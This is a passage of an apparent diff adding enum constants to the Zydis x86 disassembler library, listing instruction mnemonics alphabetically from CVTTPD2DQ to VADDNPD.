ZYDIS_MNEMONIC_CVTTPD2DQ, + ZYDIS_MNEMONIC_CVTTPD2PI, + ZYDIS_MNEMONIC_CVTTPS2DQ, + ZYDIS_MNEMONIC_CVTTPS2PI, + ZYDIS_MNEMONIC_CVTTSD2SI, + ZYDIS_MNEMONIC_CVTTSS2SI, + ZYDIS_MNEMONIC_CWD, + ZYDIS_MNEMONIC_CWDE, + ZYDIS_MNEMONIC_DAA, + ZYDIS_MNEMONIC_DAS, + ZYDIS_MNEMONIC_DEC, + ZYDIS_MNEMONIC_DELAY, + ZYDIS_MNEMONIC_DIV, + ZYDIS_MNEMONIC_DIVPD, + ZYDIS_MNEMONIC_DIVPS, + ZYDIS_MNEMONIC_DIVSD, + ZYDIS_MNEMONIC_DIVSS, + ZYDIS_MNEMONIC_DPPD, + ZYDIS_MNEMONIC_DPPS, + ZYDIS_MNEMONIC_EMMS, + ZYDIS_MNEMONIC_ENCLS, + ZYDIS_MNEMONIC_ENCLU, + ZYDIS_MNEMONIC_ENCLV, + ZYDIS_MNEMONIC_ENDBR32, + ZYDIS_MNEMONIC_ENDBR64, + ZYDIS_MNEMONIC_ENQCMD, + ZYDIS_MNEMONIC_ENQCMDS, + ZYDIS_MNEMONIC_ENTER, + ZYDIS_MNEMONIC_EXTRACTPS, + ZYDIS_MNEMONIC_EXTRQ, + ZYDIS_MNEMONIC_F2XM1, + ZYDIS_MNEMONIC_FABS, + ZYDIS_MNEMONIC_FADD, + ZYDIS_MNEMONIC_FADDP, + ZYDIS_MNEMONIC_FBLD, + ZYDIS_MNEMONIC_FBSTP, + ZYDIS_MNEMONIC_FCHS, + ZYDIS_MNEMONIC_FCMOVB, + ZYDIS_MNEMONIC_FCMOVBE, + ZYDIS_MNEMONIC_FCMOVE, + ZYDIS_MNEMONIC_FCMOVNB, + ZYDIS_MNEMONIC_FCMOVNBE, + ZYDIS_MNEMONIC_FCMOVNE, + ZYDIS_MNEMONIC_FCMOVNU, + ZYDIS_MNEMONIC_FCMOVU, + ZYDIS_MNEMONIC_FCOM, + ZYDIS_MNEMONIC_FCOMI, + ZYDIS_MNEMONIC_FCOMIP, + ZYDIS_MNEMONIC_FCOMP, + ZYDIS_MNEMONIC_FCOMPP, + ZYDIS_MNEMONIC_FCOS, + ZYDIS_MNEMONIC_FDECSTP, + ZYDIS_MNEMONIC_FDISI8087_NOP, + ZYDIS_MNEMONIC_FDIV, + ZYDIS_MNEMONIC_FDIVP, + ZYDIS_MNEMONIC_FDIVR, + ZYDIS_MNEMONIC_FDIVRP, + ZYDIS_MNEMONIC_FEMMS, + ZYDIS_MNEMONIC_FENI8087_NOP, + ZYDIS_MNEMONIC_FFREE, + ZYDIS_MNEMONIC_FFREEP, + ZYDIS_MNEMONIC_FIADD, + ZYDIS_MNEMONIC_FICOM, + ZYDIS_MNEMONIC_FICOMP, + ZYDIS_MNEMONIC_FIDIV, + ZYDIS_MNEMONIC_FIDIVR, + ZYDIS_MNEMONIC_FILD, + ZYDIS_MNEMONIC_FIMUL, + ZYDIS_MNEMONIC_FINCSTP, + ZYDIS_MNEMONIC_FIST, + ZYDIS_MNEMONIC_FISTP, + ZYDIS_MNEMONIC_FISTTP, + ZYDIS_MNEMONIC_FISUB, + ZYDIS_MNEMONIC_FISUBR, + ZYDIS_MNEMONIC_FLD, + ZYDIS_MNEMONIC_FLD1, + ZYDIS_MNEMONIC_FLDCW, + ZYDIS_MNEMONIC_FLDENV, + ZYDIS_MNEMONIC_FLDL2E, + ZYDIS_MNEMONIC_FLDL2T, + ZYDIS_MNEMONIC_FLDLG2, + ZYDIS_MNEMONIC_FLDLN2, + ZYDIS_MNEMONIC_FLDPI, + ZYDIS_MNEMONIC_FLDZ, + ZYDIS_MNEMONIC_FMUL, + ZYDIS_MNEMONIC_FMULP, + ZYDIS_MNEMONIC_FNCLEX, + ZYDIS_MNEMONIC_FNINIT, + ZYDIS_MNEMONIC_FNOP, + ZYDIS_MNEMONIC_FNSAVE, + ZYDIS_MNEMONIC_FNSTCW, + ZYDIS_MNEMONIC_FNSTENV, + ZYDIS_MNEMONIC_FNSTSW, + ZYDIS_MNEMONIC_FPATAN, + ZYDIS_MNEMONIC_FPREM, + ZYDIS_MNEMONIC_FPREM1, + ZYDIS_MNEMONIC_FPTAN, + ZYDIS_MNEMONIC_FRNDINT, + ZYDIS_MNEMONIC_FRSTOR, + ZYDIS_MNEMONIC_FSCALE, + ZYDIS_MNEMONIC_FSETPM287_NOP, + ZYDIS_MNEMONIC_FSIN, + ZYDIS_MNEMONIC_FSINCOS, + ZYDIS_MNEMONIC_FSQRT, + ZYDIS_MNEMONIC_FST, + ZYDIS_MNEMONIC_FSTP, + ZYDIS_MNEMONIC_FSTPNCE, + ZYDIS_MNEMONIC_FSUB, + ZYDIS_MNEMONIC_FSUBP, + ZYDIS_MNEMONIC_FSUBR, + ZYDIS_MNEMONIC_FSUBRP, + ZYDIS_MNEMONIC_FTST, + ZYDIS_MNEMONIC_FUCOM, + ZYDIS_MNEMONIC_FUCOMI, + ZYDIS_MNEMONIC_FUCOMIP, + ZYDIS_MNEMONIC_FUCOMP, + ZYDIS_MNEMONIC_FUCOMPP, + ZYDIS_MNEMONIC_FWAIT, + ZYDIS_MNEMONIC_FXAM, + ZYDIS_MNEMONIC_FXCH, + ZYDIS_MNEMONIC_FXRSTOR, + ZYDIS_MNEMONIC_FXRSTOR64, + ZYDIS_MNEMONIC_FXSAVE, + ZYDIS_MNEMONIC_FXSAVE64, + ZYDIS_MNEMONIC_FXTRACT, + ZYDIS_MNEMONIC_FYL2X, + ZYDIS_MNEMONIC_FYL2XP1, + ZYDIS_MNEMONIC_GETSEC, + ZYDIS_MNEMONIC_GF2P8AFFINEINVQB, + ZYDIS_MNEMONIC_GF2P8AFFINEQB, + ZYDIS_MNEMONIC_GF2P8MULB, + ZYDIS_MNEMONIC_HADDPD, + ZYDIS_MNEMONIC_HADDPS, + ZYDIS_MNEMONIC_HLT, + ZYDIS_MNEMONIC_HSUBPD, + ZYDIS_MNEMONIC_HSUBPS, + ZYDIS_MNEMONIC_IDIV, + ZYDIS_MNEMONIC_IMUL, + ZYDIS_MNEMONIC_IN, + ZYDIS_MNEMONIC_INC, + ZYDIS_MNEMONIC_INCSSPD, + ZYDIS_MNEMONIC_INCSSPQ, + ZYDIS_MNEMONIC_INSB, + ZYDIS_MNEMONIC_INSD, + ZYDIS_MNEMONIC_INSERTPS, + ZYDIS_MNEMONIC_INSERTQ, + ZYDIS_MNEMONIC_INSW, + ZYDIS_MNEMONIC_INT, + ZYDIS_MNEMONIC_INT1, + ZYDIS_MNEMONIC_INT3, + ZYDIS_MNEMONIC_INTO, + ZYDIS_MNEMONIC_INVD, + ZYDIS_MNEMONIC_INVEPT, + ZYDIS_MNEMONIC_INVLPG, + ZYDIS_MNEMONIC_INVLPGA, + ZYDIS_MNEMONIC_INVLPGB, + ZYDIS_MNEMONIC_INVPCID, + ZYDIS_MNEMONIC_INVVPID, + ZYDIS_MNEMONIC_IRET, + ZYDIS_MNEMONIC_IRETD, + ZYDIS_MNEMONIC_IRETQ, + ZYDIS_MNEMONIC_JB, + ZYDIS_MNEMONIC_JBE, + ZYDIS_MNEMONIC_JCXZ, + ZYDIS_MNEMONIC_JECXZ, + ZYDIS_MNEMONIC_JKNZD, + ZYDIS_MNEMONIC_JKZD, + ZYDIS_MNEMONIC_JL, + ZYDIS_MNEMONIC_JLE, + ZYDIS_MNEMONIC_JMP, + ZYDIS_MNEMONIC_JNB, + ZYDIS_MNEMONIC_JNBE, + ZYDIS_MNEMONIC_JNL, + ZYDIS_MNEMONIC_JNLE, + ZYDIS_MNEMONIC_JNO, + ZYDIS_MNEMONIC_JNP, + ZYDIS_MNEMONIC_JNS, + ZYDIS_MNEMONIC_JNZ, + ZYDIS_MNEMONIC_JO, + ZYDIS_MNEMONIC_JP, + ZYDIS_MNEMONIC_JRCXZ, + ZYDIS_MNEMONIC_JS, + ZYDIS_MNEMONIC_JZ, + ZYDIS_MNEMONIC_KADDB, + ZYDIS_MNEMONIC_KADDD, + ZYDIS_MNEMONIC_KADDQ, + ZYDIS_MNEMONIC_KADDW, + ZYDIS_MNEMONIC_KAND, + ZYDIS_MNEMONIC_KANDB, + ZYDIS_MNEMONIC_KANDD, + ZYDIS_MNEMONIC_KANDN, + ZYDIS_MNEMONIC_KANDNB, + ZYDIS_MNEMONIC_KANDND, + ZYDIS_MNEMONIC_KANDNQ, + ZYDIS_MNEMONIC_KANDNR, + ZYDIS_MNEMONIC_KANDNW, + ZYDIS_MNEMONIC_KANDQ, + ZYDIS_MNEMONIC_KANDW, + ZYDIS_MNEMONIC_KCONCATH, + ZYDIS_MNEMONIC_KCONCATL, + ZYDIS_MNEMONIC_KEXTRACT, + ZYDIS_MNEMONIC_KMERGE2L1H, + ZYDIS_MNEMONIC_KMERGE2L1L, + ZYDIS_MNEMONIC_KMOV, + ZYDIS_MNEMONIC_KMOVB, + ZYDIS_MNEMONIC_KMOVD, + ZYDIS_MNEMONIC_KMOVQ, + ZYDIS_MNEMONIC_KMOVW, + ZYDIS_MNEMONIC_KNOT, + ZYDIS_MNEMONIC_KNOTB, + ZYDIS_MNEMONIC_KNOTD, + ZYDIS_MNEMONIC_KNOTQ, + ZYDIS_MNEMONIC_KNOTW, + ZYDIS_MNEMONIC_KOR, + ZYDIS_MNEMONIC_KORB, + ZYDIS_MNEMONIC_KORD, + ZYDIS_MNEMONIC_KORQ, + ZYDIS_MNEMONIC_KORTEST, + ZYDIS_MNEMONIC_KORTESTB, + ZYDIS_MNEMONIC_KORTESTD, + ZYDIS_MNEMONIC_KORTESTQ, + ZYDIS_MNEMONIC_KORTESTW, + ZYDIS_MNEMONIC_KORW, + ZYDIS_MNEMONIC_KSHIFTLB, + ZYDIS_MNEMONIC_KSHIFTLD, + ZYDIS_MNEMONIC_KSHIFTLQ, + ZYDIS_MNEMONIC_KSHIFTLW, + ZYDIS_MNEMONIC_KSHIFTRB, + ZYDIS_MNEMONIC_KSHIFTRD, + ZYDIS_MNEMONIC_KSHIFTRQ, + ZYDIS_MNEMONIC_KSHIFTRW, + ZYDIS_MNEMONIC_KTESTB, + ZYDIS_MNEMONIC_KTESTD, + ZYDIS_MNEMONIC_KTESTQ, + ZYDIS_MNEMONIC_KTESTW, + ZYDIS_MNEMONIC_KUNPCKBW, + ZYDIS_MNEMONIC_KUNPCKDQ, + ZYDIS_MNEMONIC_KUNPCKWD, + ZYDIS_MNEMONIC_KXNOR, + ZYDIS_MNEMONIC_KXNORB, + ZYDIS_MNEMONIC_KXNORD, + ZYDIS_MNEMONIC_KXNORQ, + ZYDIS_MNEMONIC_KXNORW, + ZYDIS_MNEMONIC_KXOR, + ZYDIS_MNEMONIC_KXORB, + ZYDIS_MNEMONIC_KXORD, + ZYDIS_MNEMONIC_KXORQ, + ZYDIS_MNEMONIC_KXORW, + ZYDIS_MNEMONIC_LAHF, + ZYDIS_MNEMONIC_LAR, + ZYDIS_MNEMONIC_LDDQU, + ZYDIS_MNEMONIC_LDMXCSR, + ZYDIS_MNEMONIC_LDS, + ZYDIS_MNEMONIC_LDTILECFG, + ZYDIS_MNEMONIC_LEA, + ZYDIS_MNEMONIC_LEAVE, + ZYDIS_MNEMONIC_LES, + ZYDIS_MNEMONIC_LFENCE, + ZYDIS_MNEMONIC_LFS, + ZYDIS_MNEMONIC_LGDT, + ZYDIS_MNEMONIC_LGS, + ZYDIS_MNEMONIC_LIDT, + ZYDIS_MNEMONIC_LLDT, + ZYDIS_MNEMONIC_LLWPCB, + ZYDIS_MNEMONIC_LMSW, + ZYDIS_MNEMONIC_LODSB, + ZYDIS_MNEMONIC_LODSD, + ZYDIS_MNEMONIC_LODSQ, + ZYDIS_MNEMONIC_LODSW, + ZYDIS_MNEMONIC_LOOP, + ZYDIS_MNEMONIC_LOOPE, + ZYDIS_MNEMONIC_LOOPNE, + ZYDIS_MNEMONIC_LSL, + ZYDIS_MNEMONIC_LSS, + ZYDIS_MNEMONIC_LTR, + ZYDIS_MNEMONIC_LWPINS, + ZYDIS_MNEMONIC_LWPVAL, + ZYDIS_MNEMONIC_LZCNT, + ZYDIS_MNEMONIC_MASKMOVDQU, + ZYDIS_MNEMONIC_MASKMOVQ, + ZYDIS_MNEMONIC_MAXPD, + ZYDIS_MNEMONIC_MAXPS, + ZYDIS_MNEMONIC_MAXSD, + ZYDIS_MNEMONIC_MAXSS, + ZYDIS_MNEMONIC_MCOMMIT, + ZYDIS_MNEMONIC_MFENCE, + ZYDIS_MNEMONIC_MINPD, + ZYDIS_MNEMONIC_MINPS, + ZYDIS_MNEMONIC_MINSD, + ZYDIS_MNEMONIC_MINSS, + ZYDIS_MNEMONIC_MONITOR, + ZYDIS_MNEMONIC_MONITORX, + ZYDIS_MNEMONIC_MONTMUL, + ZYDIS_MNEMONIC_MOV, + ZYDIS_MNEMONIC_MOVAPD, + ZYDIS_MNEMONIC_MOVAPS, + ZYDIS_MNEMONIC_MOVBE, + ZYDIS_MNEMONIC_MOVD, + ZYDIS_MNEMONIC_MOVDDUP, + ZYDIS_MNEMONIC_MOVDIR64B, + ZYDIS_MNEMONIC_MOVDIRI, + ZYDIS_MNEMONIC_MOVDQ2Q, + ZYDIS_MNEMONIC_MOVDQA, + ZYDIS_MNEMONIC_MOVDQU, + ZYDIS_MNEMONIC_MOVHLPS, + ZYDIS_MNEMONIC_MOVHPD, + ZYDIS_MNEMONIC_MOVHPS, + ZYDIS_MNEMONIC_MOVLHPS, + ZYDIS_MNEMONIC_MOVLPD, + ZYDIS_MNEMONIC_MOVLPS, + ZYDIS_MNEMONIC_MOVMSKPD, + ZYDIS_MNEMONIC_MOVMSKPS, + ZYDIS_MNEMONIC_MOVNTDQ, + ZYDIS_MNEMONIC_MOVNTDQA, + ZYDIS_MNEMONIC_MOVNTI, + ZYDIS_MNEMONIC_MOVNTPD, + ZYDIS_MNEMONIC_MOVNTPS, + ZYDIS_MNEMONIC_MOVNTQ, + ZYDIS_MNEMONIC_MOVNTSD, + ZYDIS_MNEMONIC_MOVNTSS, + ZYDIS_MNEMONIC_MOVQ, + ZYDIS_MNEMONIC_MOVQ2DQ, + ZYDIS_MNEMONIC_MOVSB, + ZYDIS_MNEMONIC_MOVSD, + ZYDIS_MNEMONIC_MOVSHDUP, + ZYDIS_MNEMONIC_MOVSLDUP, + ZYDIS_MNEMONIC_MOVSQ, + ZYDIS_MNEMONIC_MOVSS, + ZYDIS_MNEMONIC_MOVSW, + ZYDIS_MNEMONIC_MOVSX, + ZYDIS_MNEMONIC_MOVSXD, + ZYDIS_MNEMONIC_MOVUPD, + ZYDIS_MNEMONIC_MOVUPS, + ZYDIS_MNEMONIC_MOVZX, + ZYDIS_MNEMONIC_MPSADBW, + ZYDIS_MNEMONIC_MUL, + ZYDIS_MNEMONIC_MULPD, + ZYDIS_MNEMONIC_MULPS, + ZYDIS_MNEMONIC_MULSD, + ZYDIS_MNEMONIC_MULSS, + ZYDIS_MNEMONIC_MULX, + ZYDIS_MNEMONIC_MWAIT, + ZYDIS_MNEMONIC_MWAITX, + ZYDIS_MNEMONIC_NEG, + ZYDIS_MNEMONIC_NOP, + ZYDIS_MNEMONIC_NOT, + ZYDIS_MNEMONIC_OR, + ZYDIS_MNEMONIC_ORPD, + ZYDIS_MNEMONIC_ORPS, + ZYDIS_MNEMONIC_OUT, + ZYDIS_MNEMONIC_OUTSB, + ZYDIS_MNEMONIC_OUTSD, + ZYDIS_MNEMONIC_OUTSW, + ZYDIS_MNEMONIC_PABSB, + ZYDIS_MNEMONIC_PABSD, + ZYDIS_MNEMONIC_PABSW, + ZYDIS_MNEMONIC_PACKSSDW, + ZYDIS_MNEMONIC_PACKSSWB, + ZYDIS_MNEMONIC_PACKUSDW, + ZYDIS_MNEMONIC_PACKUSWB, + ZYDIS_MNEMONIC_PADDB, + ZYDIS_MNEMONIC_PADDD, + ZYDIS_MNEMONIC_PADDQ, + ZYDIS_MNEMONIC_PADDSB, + ZYDIS_MNEMONIC_PADDSW, + ZYDIS_MNEMONIC_PADDUSB, + ZYDIS_MNEMONIC_PADDUSW, + ZYDIS_MNEMONIC_PADDW, + ZYDIS_MNEMONIC_PALIGNR, + ZYDIS_MNEMONIC_PAND, + ZYDIS_MNEMONIC_PANDN, + ZYDIS_MNEMONIC_PAUSE, + ZYDIS_MNEMONIC_PAVGB, + ZYDIS_MNEMONIC_PAVGUSB, + ZYDIS_MNEMONIC_PAVGW, + ZYDIS_MNEMONIC_PBLENDVB, + ZYDIS_MNEMONIC_PBLENDW, + ZYDIS_MNEMONIC_PCLMULQDQ, + ZYDIS_MNEMONIC_PCMPEQB, + ZYDIS_MNEMONIC_PCMPEQD, + ZYDIS_MNEMONIC_PCMPEQQ, + ZYDIS_MNEMONIC_PCMPEQW, + ZYDIS_MNEMONIC_PCMPESTRI, + ZYDIS_MNEMONIC_PCMPESTRM, + ZYDIS_MNEMONIC_PCMPGTB, + ZYDIS_MNEMONIC_PCMPGTD, + ZYDIS_MNEMONIC_PCMPGTQ, + ZYDIS_MNEMONIC_PCMPGTW, + ZYDIS_MNEMONIC_PCMPISTRI, + ZYDIS_MNEMONIC_PCMPISTRM, + ZYDIS_MNEMONIC_PCONFIG, + ZYDIS_MNEMONIC_PDEP, + ZYDIS_MNEMONIC_PEXT, + ZYDIS_MNEMONIC_PEXTRB, + ZYDIS_MNEMONIC_PEXTRD, + ZYDIS_MNEMONIC_PEXTRQ, + ZYDIS_MNEMONIC_PEXTRW, + ZYDIS_MNEMONIC_PF2ID, + ZYDIS_MNEMONIC_PF2IW, + ZYDIS_MNEMONIC_PFACC, + ZYDIS_MNEMONIC_PFADD, + ZYDIS_MNEMONIC_PFCMPEQ, + ZYDIS_MNEMONIC_PFCMPGE, + ZYDIS_MNEMONIC_PFCMPGT, + ZYDIS_MNEMONIC_PFCPIT1, + ZYDIS_MNEMONIC_PFMAX, + ZYDIS_MNEMONIC_PFMIN, + ZYDIS_MNEMONIC_PFMUL, + ZYDIS_MNEMONIC_PFNACC, + ZYDIS_MNEMONIC_PFPNACC, + ZYDIS_MNEMONIC_PFRCP, + ZYDIS_MNEMONIC_PFRCPIT2, + ZYDIS_MNEMONIC_PFRSQIT1, + ZYDIS_MNEMONIC_PFSQRT, + ZYDIS_MNEMONIC_PFSUB, + ZYDIS_MNEMONIC_PFSUBR, + ZYDIS_MNEMONIC_PHADDD, + ZYDIS_MNEMONIC_PHADDSW, + ZYDIS_MNEMONIC_PHADDW, + ZYDIS_MNEMONIC_PHMINPOSUW, + ZYDIS_MNEMONIC_PHSUBD, + ZYDIS_MNEMONIC_PHSUBSW, + ZYDIS_MNEMONIC_PHSUBW, + ZYDIS_MNEMONIC_PI2FD, + ZYDIS_MNEMONIC_PI2FW, + ZYDIS_MNEMONIC_PINSRB, + ZYDIS_MNEMONIC_PINSRD, + ZYDIS_MNEMONIC_PINSRQ, + ZYDIS_MNEMONIC_PINSRW, + ZYDIS_MNEMONIC_PMADDUBSW, + ZYDIS_MNEMONIC_PMADDWD, + ZYDIS_MNEMONIC_PMAXSB, + ZYDIS_MNEMONIC_PMAXSD, + ZYDIS_MNEMONIC_PMAXSW, + ZYDIS_MNEMONIC_PMAXUB, + ZYDIS_MNEMONIC_PMAXUD, + ZYDIS_MNEMONIC_PMAXUW, + ZYDIS_MNEMONIC_PMINSB, + ZYDIS_MNEMONIC_PMINSD, + ZYDIS_MNEMONIC_PMINSW, + ZYDIS_MNEMONIC_PMINUB, + ZYDIS_MNEMONIC_PMINUD, + ZYDIS_MNEMONIC_PMINUW, + ZYDIS_MNEMONIC_PMOVMSKB, + ZYDIS_MNEMONIC_PMOVSXBD, + ZYDIS_MNEMONIC_PMOVSXBQ, + ZYDIS_MNEMONIC_PMOVSXBW, + ZYDIS_MNEMONIC_PMOVSXDQ, + ZYDIS_MNEMONIC_PMOVSXWD, + ZYDIS_MNEMONIC_PMOVSXWQ, + ZYDIS_MNEMONIC_PMOVZXBD, + ZYDIS_MNEMONIC_PMOVZXBQ, + ZYDIS_MNEMONIC_PMOVZXBW, + ZYDIS_MNEMONIC_PMOVZXDQ, + ZYDIS_MNEMONIC_PMOVZXWD, + ZYDIS_MNEMONIC_PMOVZXWQ, + ZYDIS_MNEMONIC_PMULDQ, + ZYDIS_MNEMONIC_PMULHRSW, + ZYDIS_MNEMONIC_PMULHRW, + ZYDIS_MNEMONIC_PMULHUW, + ZYDIS_MNEMONIC_PMULHW, + ZYDIS_MNEMONIC_PMULLD, + ZYDIS_MNEMONIC_PMULLW, + ZYDIS_MNEMONIC_PMULUDQ, + ZYDIS_MNEMONIC_POP, + ZYDIS_MNEMONIC_POPA, + ZYDIS_MNEMONIC_POPAD, + ZYDIS_MNEMONIC_POPCNT, + ZYDIS_MNEMONIC_POPF, + ZYDIS_MNEMONIC_POPFD, + ZYDIS_MNEMONIC_POPFQ, + ZYDIS_MNEMONIC_POR, + ZYDIS_MNEMONIC_PREFETCH, + ZYDIS_MNEMONIC_PREFETCHNTA, + ZYDIS_MNEMONIC_PREFETCHT0, + ZYDIS_MNEMONIC_PREFETCHT1, + ZYDIS_MNEMONIC_PREFETCHT2, + ZYDIS_MNEMONIC_PREFETCHW, + ZYDIS_MNEMONIC_PREFETCHWT1, + ZYDIS_MNEMONIC_PSADBW, + ZYDIS_MNEMONIC_PSHUFB, + ZYDIS_MNEMONIC_PSHUFD, + ZYDIS_MNEMONIC_PSHUFHW, + ZYDIS_MNEMONIC_PSHUFLW, + ZYDIS_MNEMONIC_PSHUFW, + ZYDIS_MNEMONIC_PSIGNB, + ZYDIS_MNEMONIC_PSIGND, + ZYDIS_MNEMONIC_PSIGNW, + ZYDIS_MNEMONIC_PSLLD, + ZYDIS_MNEMONIC_PSLLDQ, + ZYDIS_MNEMONIC_PSLLQ, + ZYDIS_MNEMONIC_PSLLW, + ZYDIS_MNEMONIC_PSMASH, + ZYDIS_MNEMONIC_PSRAD, + ZYDIS_MNEMONIC_PSRAW, + ZYDIS_MNEMONIC_PSRLD, + ZYDIS_MNEMONIC_PSRLDQ, + ZYDIS_MNEMONIC_PSRLQ, + ZYDIS_MNEMONIC_PSRLW, + ZYDIS_MNEMONIC_PSUBB, + ZYDIS_MNEMONIC_PSUBD, + ZYDIS_MNEMONIC_PSUBQ, + ZYDIS_MNEMONIC_PSUBSB, + ZYDIS_MNEMONIC_PSUBSW, + ZYDIS_MNEMONIC_PSUBUSB, + ZYDIS_MNEMONIC_PSUBUSW, + ZYDIS_MNEMONIC_PSUBW, + ZYDIS_MNEMONIC_PSWAPD, + ZYDIS_MNEMONIC_PTEST, + ZYDIS_MNEMONIC_PTWRITE, + ZYDIS_MNEMONIC_PUNPCKHBW, + ZYDIS_MNEMONIC_PUNPCKHDQ, + ZYDIS_MNEMONIC_PUNPCKHQDQ, + ZYDIS_MNEMONIC_PUNPCKHWD, + ZYDIS_MNEMONIC_PUNPCKLBW, + ZYDIS_MNEMONIC_PUNPCKLDQ, + ZYDIS_MNEMONIC_PUNPCKLQDQ, + ZYDIS_MNEMONIC_PUNPCKLWD, + ZYDIS_MNEMONIC_PUSH, + ZYDIS_MNEMONIC_PUSHA, + ZYDIS_MNEMONIC_PUSHAD, + ZYDIS_MNEMONIC_PUSHF, + ZYDIS_MNEMONIC_PUSHFD, + ZYDIS_MNEMONIC_PUSHFQ, + ZYDIS_MNEMONIC_PVALIDATE, + ZYDIS_MNEMONIC_PXOR, + ZYDIS_MNEMONIC_RCL, + ZYDIS_MNEMONIC_RCPPS, + ZYDIS_MNEMONIC_RCPSS, + ZYDIS_MNEMONIC_RCR, + ZYDIS_MNEMONIC_RDFSBASE, + ZYDIS_MNEMONIC_RDGSBASE, + ZYDIS_MNEMONIC_RDMSR, + ZYDIS_MNEMONIC_RDPID, + ZYDIS_MNEMONIC_RDPKRU, + ZYDIS_MNEMONIC_RDPMC, + ZYDIS_MNEMONIC_RDPRU, + ZYDIS_MNEMONIC_RDRAND, + ZYDIS_MNEMONIC_RDSEED, + ZYDIS_MNEMONIC_RDSSPD, + ZYDIS_MNEMONIC_RDSSPQ, + ZYDIS_MNEMONIC_RDTSC, + ZYDIS_MNEMONIC_RDTSCP, + ZYDIS_MNEMONIC_RET, + ZYDIS_MNEMONIC_RMPADJUST, + ZYDIS_MNEMONIC_RMPUPDATE, + ZYDIS_MNEMONIC_ROL, + ZYDIS_MNEMONIC_ROR, + ZYDIS_MNEMONIC_RORX, + ZYDIS_MNEMONIC_ROUNDPD, + ZYDIS_MNEMONIC_ROUNDPS, + ZYDIS_MNEMONIC_ROUNDSD, + ZYDIS_MNEMONIC_ROUNDSS, + ZYDIS_MNEMONIC_RSM, + ZYDIS_MNEMONIC_RSQRTPS, + ZYDIS_MNEMONIC_RSQRTSS, + ZYDIS_MNEMONIC_RSTORSSP, + ZYDIS_MNEMONIC_SAHF, + ZYDIS_MNEMONIC_SALC, + ZYDIS_MNEMONIC_SAR, + ZYDIS_MNEMONIC_SARX, + ZYDIS_MNEMONIC_SAVEPREVSSP, + ZYDIS_MNEMONIC_SBB, + ZYDIS_MNEMONIC_SCASB, + ZYDIS_MNEMONIC_SCASD, + ZYDIS_MNEMONIC_SCASQ, + ZYDIS_MNEMONIC_SCASW, + ZYDIS_MNEMONIC_SERIALIZE, + ZYDIS_MNEMONIC_SETB, + ZYDIS_MNEMONIC_SETBE, + ZYDIS_MNEMONIC_SETL, + ZYDIS_MNEMONIC_SETLE, + ZYDIS_MNEMONIC_SETNB, + ZYDIS_MNEMONIC_SETNBE, + ZYDIS_MNEMONIC_SETNL, + ZYDIS_MNEMONIC_SETNLE, + ZYDIS_MNEMONIC_SETNO, + ZYDIS_MNEMONIC_SETNP, + ZYDIS_MNEMONIC_SETNS, + ZYDIS_MNEMONIC_SETNZ, + ZYDIS_MNEMONIC_SETO, + ZYDIS_MNEMONIC_SETP, + ZYDIS_MNEMONIC_SETS, + ZYDIS_MNEMONIC_SETSSBSY, + ZYDIS_MNEMONIC_SETZ, + ZYDIS_MNEMONIC_SFENCE, + ZYDIS_MNEMONIC_SGDT, + ZYDIS_MNEMONIC_SHA1MSG1, + ZYDIS_MNEMONIC_SHA1MSG2, + ZYDIS_MNEMONIC_SHA1NEXTE, + ZYDIS_MNEMONIC_SHA1RNDS4, + ZYDIS_MNEMONIC_SHA256MSG1, + ZYDIS_MNEMONIC_SHA256MSG2, + ZYDIS_MNEMONIC_SHA256RNDS2, + ZYDIS_MNEMONIC_SHL, + ZYDIS_MNEMONIC_SHLD, + ZYDIS_MNEMONIC_SHLX, + ZYDIS_MNEMONIC_SHR, + ZYDIS_MNEMONIC_SHRD, + ZYDIS_MNEMONIC_SHRX, + ZYDIS_MNEMONIC_SHUFPD, + ZYDIS_MNEMONIC_SHUFPS, + ZYDIS_MNEMONIC_SIDT, + ZYDIS_MNEMONIC_SKINIT, + ZYDIS_MNEMONIC_SLDT, + ZYDIS_MNEMONIC_SLWPCB, + ZYDIS_MNEMONIC_SMSW, + ZYDIS_MNEMONIC_SPFLT, + ZYDIS_MNEMONIC_SQRTPD, + ZYDIS_MNEMONIC_SQRTPS, + ZYDIS_MNEMONIC_SQRTSD, + ZYDIS_MNEMONIC_SQRTSS, + ZYDIS_MNEMONIC_STAC, + ZYDIS_MNEMONIC_STC, + ZYDIS_MNEMONIC_STD, + ZYDIS_MNEMONIC_STGI, + ZYDIS_MNEMONIC_STI, + ZYDIS_MNEMONIC_STMXCSR, + ZYDIS_MNEMONIC_STOSB, + ZYDIS_MNEMONIC_STOSD, + ZYDIS_MNEMONIC_STOSQ, + ZYDIS_MNEMONIC_STOSW, + ZYDIS_MNEMONIC_STR, + ZYDIS_MNEMONIC_STTILECFG, + ZYDIS_MNEMONIC_SUB, + ZYDIS_MNEMONIC_SUBPD, + ZYDIS_MNEMONIC_SUBPS, + ZYDIS_MNEMONIC_SUBSD, + ZYDIS_MNEMONIC_SUBSS, + ZYDIS_MNEMONIC_SWAPGS, + ZYDIS_MNEMONIC_SYSCALL, + ZYDIS_MNEMONIC_SYSENTER, + ZYDIS_MNEMONIC_SYSEXIT, + ZYDIS_MNEMONIC_SYSRET, + ZYDIS_MNEMONIC_T1MSKC, + ZYDIS_MNEMONIC_TDPBF16PS, + ZYDIS_MNEMONIC_TDPBSSD, + ZYDIS_MNEMONIC_TDPBSUD, + ZYDIS_MNEMONIC_TDPBUSD, + ZYDIS_MNEMONIC_TDPBUUD, + ZYDIS_MNEMONIC_TEST, + ZYDIS_MNEMONIC_TILELOADD, + ZYDIS_MNEMONIC_TILELOADDT1, + ZYDIS_MNEMONIC_TILERELEASE, + ZYDIS_MNEMONIC_TILESTORED, + ZYDIS_MNEMONIC_TILEZERO, + ZYDIS_MNEMONIC_TLBSYNC, + ZYDIS_MNEMONIC_TPAUSE, + ZYDIS_MNEMONIC_TZCNT, + ZYDIS_MNEMONIC_TZCNTI, + ZYDIS_MNEMONIC_TZMSK, + ZYDIS_MNEMONIC_UCOMISD, + ZYDIS_MNEMONIC_UCOMISS, + ZYDIS_MNEMONIC_UD0, + ZYDIS_MNEMONIC_UD1, + ZYDIS_MNEMONIC_UD2, + ZYDIS_MNEMONIC_UMONITOR, + ZYDIS_MNEMONIC_UMWAIT, + ZYDIS_MNEMONIC_UNPCKHPD, + ZYDIS_MNEMONIC_UNPCKHPS, + ZYDIS_MNEMONIC_UNPCKLPD, + ZYDIS_MNEMONIC_UNPCKLPS, + ZYDIS_MNEMONIC_V4FMADDPS, + ZYDIS_MNEMONIC_V4FMADDSS, + ZYDIS_MNEMONIC_V4FNMADDPS, + ZYDIS_MNEMONIC_V4FNMADDSS, + ZYDIS_MNEMONIC_VADDNPD, + 